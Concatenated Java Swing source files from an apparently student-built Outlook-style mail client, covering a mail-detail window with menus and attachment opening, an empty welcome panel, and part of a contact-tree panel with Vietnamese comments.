jMenuItem_Contact = new javax.swing.JMenuItem();
jMenuItem_Task = new javax.swing.JMenuItem();
jMenuItem_Folder = new javax.swing.JMenuItem();
jSeparator1 = new javax.swing.JSeparator();
jMenuItem_Save = new javax.swing.JMenuItem();
jMenuItem_SaveAs = new javax.swing.JMenuItem();
jMenuItem2 = new javax.swing.JMenuItem();
jSeparator5 = new javax.swing.JSeparator();
jMenuItem_delete = new javax.swing.JMenuItem();
jMenuItem3 = new javax.swing.JMenuItem();
jSeparator2 = new javax.swing.JSeparator();
javax.swing.JMenuItem jMenuItem_Close = new javax.swing.JMenuItem();
jMenu_Edit = new javax.swing.JMenu();
jMenuItem_Cut = new javax.swing.JMenuItem();
jMenuItem_Copy = new javax.swing.JMenuItem();
jMenuItem_Paste = new javax.swing.JMenuItem();
jSeparator3 = new javax.swing.JSeparator();
jMenuItem_SelectAll = new javax.swing.JMenuItem();
jSeparator4 = new javax.swing.JSeparator();
jMenuItem1 = new javax.swing.JMenuItem();
jMenu_Tools = new javax.swing.JMenu();
jMenuItem_Find = new javax.swing.JMenuItem();
javax.swing.JMenu helpMenu = new javax.swing.JMenu();
javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
jToolBar1.setRollover(true);
jToolBar1.setName("jToolBar1"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
jToolBar2.setRollover(true);
jToolBar2.setName("jToolBar2"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JFrame_ChiTietMail.class);
jButton_Reply.setIcon(resourceMap.getIcon("jButton_Reply.icon")); // NOI18N
jButton_Reply.setText(resourceMap.getString("jButton_Reply.text")); // NOI18N
jButton_Reply.setFocusable(false);
jButton_Reply.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Reply.setName("jButton_Reply"); // NOI18N
jButton_Reply.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar2.add(jButton_Reply);
jButton_ReplyAll.setIcon(resourceMap.getIcon("jButton_ReplyAll.icon")); // NOI18N
jButton_ReplyAll.setText(resourceMap.getString("jButton_ReplyAll.text")); // NOI18N
jButton_ReplyAll.setFocusable(false);
jButton_ReplyAll.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_ReplyAll.setName("jButton_ReplyAll"); // NOI18N
jButton_ReplyAll.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar2.add(jButton_ReplyAll);
jButton1.setIcon(resourceMap.getIcon("jButton1.icon")); // NOI18N
jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
jButton1.setFocusable(false);
jButton1.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton1.setName("jButton1"); // NOI18N
jButton1.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar2.add(jButton1);
jButton_Delete.setIcon(resourceMap.getIcon("jButton_Delete.icon")); // NOI18N
jButton_Delete.setText(resourceMap.getString("jButton_Delete.text")); // NOI18N
jButton_Delete.setFocusable(false);
jButton_Delete.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Delete.setName("jButton_Delete"); // NOI18N
jButton_Delete.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar2.add(jButton_Delete);
jScrollPane_noidung.setName("jScrollPane_noidung"); // NOI18N
jEditorPane_noidung.setEditable(false);
jEditorPane_noidung.setName("jEditorPane_noidung"); // NOI18N
jScrollPane_noidung.setViewportView(jEditorPane_noidung);
jEditorPane_noidung.getAccessibleContext().setAccessibleDescription(resourceMap.getString("jEditorPane1.AccessibleContext.accessibleDescription")); // NOI18N
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
jLabel3.setName("jLabel3"); // NOI18N
jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
jLabel4.setName("jLabel4"); // NOI18N
jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
jLabel5.setName("jLabel5"); // NOI18N
jLabel_chude.setFont(resourceMap.getFont("jLabel_chude.font")); // NOI18N
jLabel_chude.setForeground(resourceMap.getColor("jLabel_chude.foreground")); // NOI18N
jLabel_chude.setText(resourceMap.getString("jLabel_chude.text")); // NOI18N
jLabel_chude.setName("jLabel_chude"); // NOI18N
jLabel_goi.setFont(resourceMap.getFont("jLabel_goi.font")); // NOI18N
jLabel_goi.setForeground(resourceMap.getColor("jLabel_goi.foreground")); // NOI18N
jLabel_goi.setText(resourceMap.getString("jLabel_goi.text")); // NOI18N
jLabel_goi.setName("jLabel_goi"); // NOI18N
jLabel_ngay.setFont(resourceMap.getFont("jLabel_ngay.font")); // NOI18N
jLabel_ngay.setForeground(resourceMap.getColor("jLabel_ngay.foreground")); // NOI18N
jLabel_ngay.setText(resourceMap.getString("jLabel_ngay.text")); // NOI18N
jLabel_ngay.setName("jLabel_ngay"); // NOI18N
jLabel_den.setFont(resourceMap.getFont("jLabel_den.font")); // NOI18N
jLabel_den.setForeground(resourceMap.getColor("jLabel_den.foreground")); // NOI18N
jLabel_den.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
jLabel_den.setText(resourceMap.getString("jLabel_den.text")); // NOI18N
jLabel_den.setName("jLabel_den"); // NOI18N
jLabel_cc.setFont(resourceMap.getFont("jLabel_cc.font")); // NOI18N
jLabel_cc.setForeground(resourceMap.getColor("jLabel_cc.foreground")); // NOI18N
jLabel_cc.setText(resourceMap.getString("jLabel_cc.text")); // NOI18N
jLabel_cc.setName("jLabel_cc"); // NOI18N
jScrollPane2.setName("jScrollPane2"); // NOI18N
jList1.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jList1.border.title"))); // NOI18N
jList1.setModel(new javax.swing.AbstractListModel() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public Object getElementAt(int i) { return strings[i]; }
});
jList1.setSelectionMode(javax.swing.ListSelectionModel.SINGLE_INTERVAL_SELECTION);
jList1.setName("jList1"); // NOI18N
jList1.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jList1MouseClicked(evt);
}
});
jScrollPane2.setViewportView(jList1);
menuBar.setName("menuBar"); // NOI18N
fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
fileMenu.setName("fileMenu"); // NOI18N
jMenu_New.setText(resourceMap.getString("jMenu_New.text")); // NOI18N
jMenu_New.setName("jMenu_New"); // NOI18N
jMenuItem_Mail.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Mail.setText(resourceMap.getString("jMenuItem_Mail.text")); // NOI18N
jMenuItem_Mail.setName("jMenuItem_Mail"); // NOI18N
jMenu_New.add(jMenuItem_Mail);
jMenuItem_Contact.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Contact.setText(resourceMap.getString("jMenuItem_Contact.text")); // NOI18N
jMenuItem_Contact.setName("jMenuItem_Contact"); // NOI18N
jMenu_New.add(jMenuItem_Contact);
jMenuItem_Task.setText(resourceMap.getString("jMenuItem_Task.text")); // NOI18N
jMenuItem_Task.setName("jMenuItem_Task"); // NOI18N
jMenu_New.add(jMenuItem_Task);
jMenuItem_Folder.setText(resourceMap.getString("jMenuItem_Folder.text")); // NOI18N
jMenuItem_Folder.setName("jMenuItem_Folder"); // NOI18N
jMenu_New.add(jMenuItem_Folder);
fileMenu.add(jMenu_New);
jSeparator1.setName("jSeparator1"); // NOI18N
fileMenu.add(jSeparator1);
jMenuItem_Save.setText(resourceMap.getString("jMenuItem_Save.text")); // NOI18N
jMenuItem_Save.setName("jMenuItem_Save"); // NOI18N
fileMenu.add(jMenuItem_Save);
jMenuItem_SaveAs.setText(resourceMap.getString("jMenuItem_SaveAs.text")); // NOI18N
jMenuItem_SaveAs.setName("jMenuItem_SaveAs"); // NOI18N
fileMenu.add(jMenuItem_SaveAs);
jMenuItem2.setText(resourceMap.getString("jMenuItem2.text")); // NOI18N
jMenuItem2.setName("jMenuItem2"); // NOI18N
fileMenu.add(jMenuItem2);
jSeparator5.setName("jSeparator5"); // NOI18N
fileMenu.add(jSeparator5);
jMenuItem_delete.setText(resourceMap.getString("jMenuItem_delete.text")); // NOI18N
jMenuItem_delete.setName("jMenuItem_delete"); // NOI18N
fileMenu.add(jMenuItem_delete);
jMenuItem3.setText(resourceMap.getString("jMenuItem3.text")); // NOI18N
jMenuItem3.setName("jMenuItem3"); // NOI18N
fileMenu.add(jMenuItem3);
jSeparator2.setName("jSeparator2"); // NOI18N
fileMenu.add(jSeparator2);
javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getActionMap(JFrame_ChiTietMail.class, this);
jMenuItem_Close.setAction(actionMap.get("quit")); // NOI18N
jMenuItem_Close.setText(resourceMap.getString("jMenuItem_Close.text")); // NOI18N
jMenuItem_Close.setName("jMenuItem_Close"); // NOI18N
fileMenu.add(jMenuItem_Close);
menuBar.add(fileMenu);
jMenu_Edit.setText(resourceMap.getString("jMenu_Edit.text")); // NOI18N
jMenu_Edit.setName("jMenu_Edit"); // NOI18N
jMenuItem_Cut.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_X, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Cut.setText(resourceMap.getString("jMenuItem_Cut.text")); // NOI18N
jMenuItem_Cut.setName("jMenuItem_Cut"); // NOI18N
jMenu_Edit.add(jMenuItem_Cut);
jMenuItem_Copy.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Copy.setText(resourceMap.getString("jMenuItem_Copy.text")); // NOI18N
jMenuItem_Copy.setName("jMenuItem_Copy"); // NOI18N
jMenu_Edit.add(jMenuItem_Copy);
jMenuItem_Paste.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_V, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Paste.setText(resourceMap.getString("jMenuItem_Paste.text")); // NOI18N
jMenuItem_Paste.setName("jMenuItem_Paste"); // NOI18N
jMenu_Edit.add(jMenuItem_Paste);
jSeparator3.setName("jSeparator3"); // NOI18N
jMenu_Edit.add(jSeparator3);
jMenuItem_SelectAll.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_A, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_SelectAll.setText(resourceMap.getString("jMenuItem_SelectAll.text")); // NOI18N
jMenuItem_SelectAll.setName("jMenuItem_SelectAll"); // NOI18N
jMenu_Edit.add(jMenuItem_SelectAll);
jSeparator4.setName("jSeparator4"); // NOI18N
jMenu_Edit.add(jSeparator4);
jMenuItem1.setText(resourceMap.getString("jMenuItem1.text")); // NOI18N
jMenuItem1.setName("jMenuItem1"); // NOI18N
jMenu_Edit.add(jMenuItem1);
menuBar.add(jMenu_Edit);
jMenu_Tools.setText(resourceMap.getString("jMenu_Tools.text")); // NOI18N
jMenu_Tools.setName("jMenu_Tools"); // NOI18N
jMenuItem_Find.setText(resourceMap.getString("jMenuItem_Find.text")); // NOI18N
jMenuItem_Find.setName("jMenuItem_Find"); // NOI18N
jMenu_Tools.add(jMenuItem_Find);
menuBar.add(jMenu_Tools);
helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
helpMenu.setName("helpMenu"); // NOI18N
aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
aboutMenuItem.setName("aboutMenuItem"); // NOI18N
helpMenu.add(aboutMenuItem);
menuBar.add(helpMenu);
setJMenuBar(menuBar);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel2)
.addComponent(jLabel1)
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_den, javax.swing.GroupLayout.PREFERRED_SIZE, 236, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel_ngay, javax.swing.GroupLayout.PREFERRED_SIZE, 236, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel_goi, javax.swing.GroupLayout.PREFERRED_SIZE, 236, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel_chude, javax.swing.GroupLayout.PREFERRED_SIZE, 236, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel_cc, javax.swing.GroupLayout.PREFERRED_SIZE, 236, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 103, Short.MAX_VALUE)
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 241, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jToolBar2, javax.swing.GroupLayout.DEFAULT_SIZE, 614, Short.MAX_VALUE)
.addGap(38, 38, 38))
.addComponent(jScrollPane_noidung))))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, 49, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jLabel_chude))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel_goi))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3)
.addComponent(jLabel_ngay))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4)
.addComponent(jLabel_den))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel5)
.addComponent(jLabel_cc)))
.addGroup(layout.createSequentialGroup()
.addGap(4, 4, 4)
.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 127, Short.MAX_VALUE)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane_noidung, javax.swing.GroupLayout.PREFERRED_SIZE, 312, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jList1MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jList1MouseClicked
// TODO add your handling code here:
if (evt.getButton() == MouseEvent.BUTTON1 && evt.getClickCount() ==2){
try {
Object sel = jList1.getSelectedValue();
if (sel != null) {
Desktop.getDesktop().open(new File(sel.toString().split(">")[1]));
}
} catch (IOException ex) {
Logger.getLogger(JFrame_ChiTietMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
}//GEN-LAST:event_jList1MouseClicked
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JFrame_ChiTietMail().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton_Delete;
private javax.swing.JButton jButton_Reply;
private javax.swing.JButton jButton_ReplyAll;
private javax.swing.JEditorPane jEditorPane_noidung;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel_cc;
private javax.swing.JLabel jLabel_chude;
private javax.swing.JLabel jLabel_den;
private javax.swing.JLabel jLabel_goi;
private javax.swing.JLabel jLabel_ngay;
private javax.swing.JList jList1;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem2;
private javax.swing.JMenuItem jMenuItem3;
private javax.swing.JMenuItem jMenuItem_Contact;
private javax.swing.JMenuItem jMenuItem_Copy;
private javax.swing.JMenuItem jMenuItem_Cut;
private javax.swing.JMenuItem jMenuItem_Find;
private javax.swing.JMenuItem jMenuItem_Folder;
private javax.swing.JMenuItem jMenuItem_Mail;
private javax.swing.JMenuItem jMenuItem_Paste;
private javax.swing.JMenuItem jMenuItem_Save;
private javax.swing.JMenuItem jMenuItem_SaveAs;
private javax.swing.JMenuItem jMenuItem_SelectAll;
private javax.swing.JMenuItem jMenuItem_Task;
private javax.swing.JMenuItem jMenuItem_delete;
private javax.swing.JMenu jMenu_Edit;
private javax.swing.JMenu jMenu_New;
private javax.swing.JMenu jMenu_Tools;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JScrollPane jScrollPane_noidung;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JSeparator jSeparator3;
private javax.swing.JSeparator jSeparator4;
private javax.swing.JSeparator jSeparator5;
private javax.swing.JToolBar jToolBar1;
private javax.swing.JToolBar jToolBar2;
private javax.swing.JMenuBar menuBar;
// End of variables declaration//GEN-END:variables
/**
* @return the m_MailID
*/
public int getMailID() {
return m_MailID;
}
/**
* @param m_MailID the m_MailID to set
*/
public void setMailID(int mailID) {
this.m_MailID = mailID;
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
//</editor-fold>
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JFrame_ChiTietMail.java | Java | asf20 | 28,359 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* WelcomePanel.java
*
* Created on May 27, 2009, 9:21:30 AM
*/
package doanlythuyet_javaoutlook.usercontrol.resources;
/**
*
* @author Dang Thi Phuong Thao
*/
public class WelcomePanel extends javax.swing.JPanel {
/** Creates new form WelcomePanel */
public WelcomePanel() {
initComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
setName("Form"); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 400, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 300, Short.MAX_VALUE)
);
}// </editor-fold>//GEN-END:initComponents
// Variables declaration - do not modify//GEN-BEGIN:variables
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/WelcomePanel.java | Java | asf20 | 1,471 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JTreeFromXMLFile.java
*
* Created on 10-06-2009, 14:28:32
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyContactBUS;
import DTO.MyContactDTO;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import doanlythuyet_javaoutlook.MyEmum.JEnum_ContactGroupBy;
import java.awt.event.FocusEvent;
import java.awt.event.FocusListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.File;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.xml.parsers.*;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import org.w3c.dom.*;
import java.io.IOException;
//import javax.swing.;
import java.text.AttributedCharacterIterator.Attribute;
import java.util.Enumeration;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JTree;
import javax.swing.UIManager;
import javax.swing.event.MouseInputListener;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.MutableTreeNode;
import javax.swing.tree.TreeNode;
import javax.swing.tree.TreePath;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.xml.sax.SAXException;
/**
*
* @author ShineShiao
*/
public class JPanel_HienThiContact extends javax.swing.JPanel {
private boolean m_chiDoc;
private final JPopupMenu m_popupMenu;
private JEnum_ContactGroupBy m_ThuocTinhGroupBy;// = "C:\\Documents and Settings\\Administrator\\Desktop\\JavaMail\\ 0512324-0512328-0512333-mailclient\\DoAnLyThuyet_JavaOutLook\\src\\Database\\XML_ThuMucNguoiDung.xml";
/** Creates new form JTreeFromXMLFile */
public void expandTree (TreePath path){
jTreeThuMucNguoiDung.expandPath(path);
}
// If expand is true, expands all nodes in the tree.
// Otherwise, collapses all nodes in the tree.
public static void expandAll(JTree tree, boolean expand) {
TreeNode root = (TreeNode)tree.getModel().getRoot();
// Traverse tree from root
expandAll(tree, new TreePath(root), expand);
}
private static void expandAll(JTree tree, TreePath parent, boolean expand) {
// Traverse children
TreeNode node = (TreeNode)parent.getLastPathComponent();
if (node.getChildCount() >= 0) {
for (Enumeration e=node.children(); e.hasMoreElements(); ) {
TreeNode n = (TreeNode)e.nextElement();
TreePath path = parent.pathByAddingChild(n);
expandAll(tree, path, expand);
}
}
// Expansion or collapse must be done bottom-up
if (expand) {
tree.expandPath(parent);
} else {
tree.collapsePath(parent);
}
}
public JPanel_HienThiContact(JEnum_ContactGroupBy thuocTinhGroupBy, Boolean chiDoc) throws SQLException, SAXException, ParserConfigurationException {
m_chiDoc = chiDoc;
m_ThuocTinhGroupBy = thuocTinhGroupBy;
m_popupMenu = new JPopupMenu();
if (!chiDoc){
String cacHanhViThayDoiCauTruc[] = {"Thêm mới", "Xóa", "Đổi Tên"};
for (String HanhVi : cacHanhViThayDoiCauTruc)
{
JMenuItem menuItem = new JMenuItem(HanhVi);
menuItem.addMouseListener(new PopupMenu_MouseListerner_MyCayHienThiThuMuc(menuItem.getText()));
m_popupMenu.add(menuItem);
}
m_popupMenu.addSeparator();
}
String cacHanhViKhongThayDoiCauTruc[] = {"Đánh dấu đã đọc", "Đánh dấu chưa đọc", "Gỡ dấu"};
for (String HanhVi : cacHanhViKhongThayDoiCauTruc)
{
JMenuItem menuItem = new JMenuItem(HanhVi);
menuItem.addMouseListener(new PopupMenu_MouseListerner_MyCayHienThiThuMuc(menuItem.getText()));
m_popupMenu.add(menuItem);
}
initComponents();
try {
thayDoiIconCuaTree();
MyContactBUS contactBUS = new MyContactBUS();
ArrayList<MyContactDTO> cacContactDTO= contactBUS.layTatCaContact();
TaoCay(cacContactDTO);
//expandTree(new TreePath(jTreeThuMucNguoiDung.getModel().getRoot()));
expandAll(jTreeThuMucNguoiDung, true);
} catch (IOException ex) {
Logger.getLogger(JTreeFromXMLFile.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, "Tao cay thu muc tu file XML loi: " + ex.getMessage());
}
jTreeThuMucNguoiDung.addMouseListener(new MouseListener() {
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
if (jTreeThuMucNguoiDung.getSelectionPath() == null)
return;
String strPath = StringPathFromTreePath(jTreeThuMucNguoiDung.getSelectionPath());
getM_popupMenu().setToolTipText(strPath);
if (e.getButton() == MouseEvent.BUTTON3) {
getM_popupMenu().show(e.getComponent(), e.getX(), e.getY());
//return;
}
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
});
}
public static TreePath TreePathFromStringPath (String stringPath){
String cacPath[] = stringPath.split("\\\\");
MutableTreeNode cacNode[] = new MutableTreeNode[cacPath.length];
for (int i = 0; i < cacPath.length; i++)
cacNode[i] = new DefaultMutableTreeNode(cacPath[i]);
return new TreePath(cacNode);
}
public static String StringPathFromTreePath (TreePath treePath){
String Kq = "";
Object cacNode[] = treePath.getPath();
for (int i = 0; i < cacNode.length; i++)
Kq += ((DefaultMutableTreeNode)cacNode[i]).getUserObject().toString() + "\\";
return Kq;
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
jTreeThuMucNguoiDung = new javax.swing.JTree();
setName("Form"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTreeThuMucNguoiDung.setName("jTreeThuMucNguoiDung"); // NOI18N
jTreeThuMucNguoiDung.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
jTreeThuMucNguoiDungValueChanged(evt);
}
});
jScrollPane1.setViewportView(jTreeThuMucNguoiDung);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 336, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 265, Short.MAX_VALUE)
);
}// </editor-fold>//GEN-END:initComponents
private void jTreeThuMucNguoiDungValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeThuMucNguoiDungValueChanged
// TODO add your handling code here:
String strPath = StringPathFromTreePath(jTreeThuMucNguoiDung.getSelectionPath());
initEvent_ClickChuotVaoCayDuyetFile(strPath);
}//GEN-LAST:event_jTreeThuMucNguoiDungValueChanged
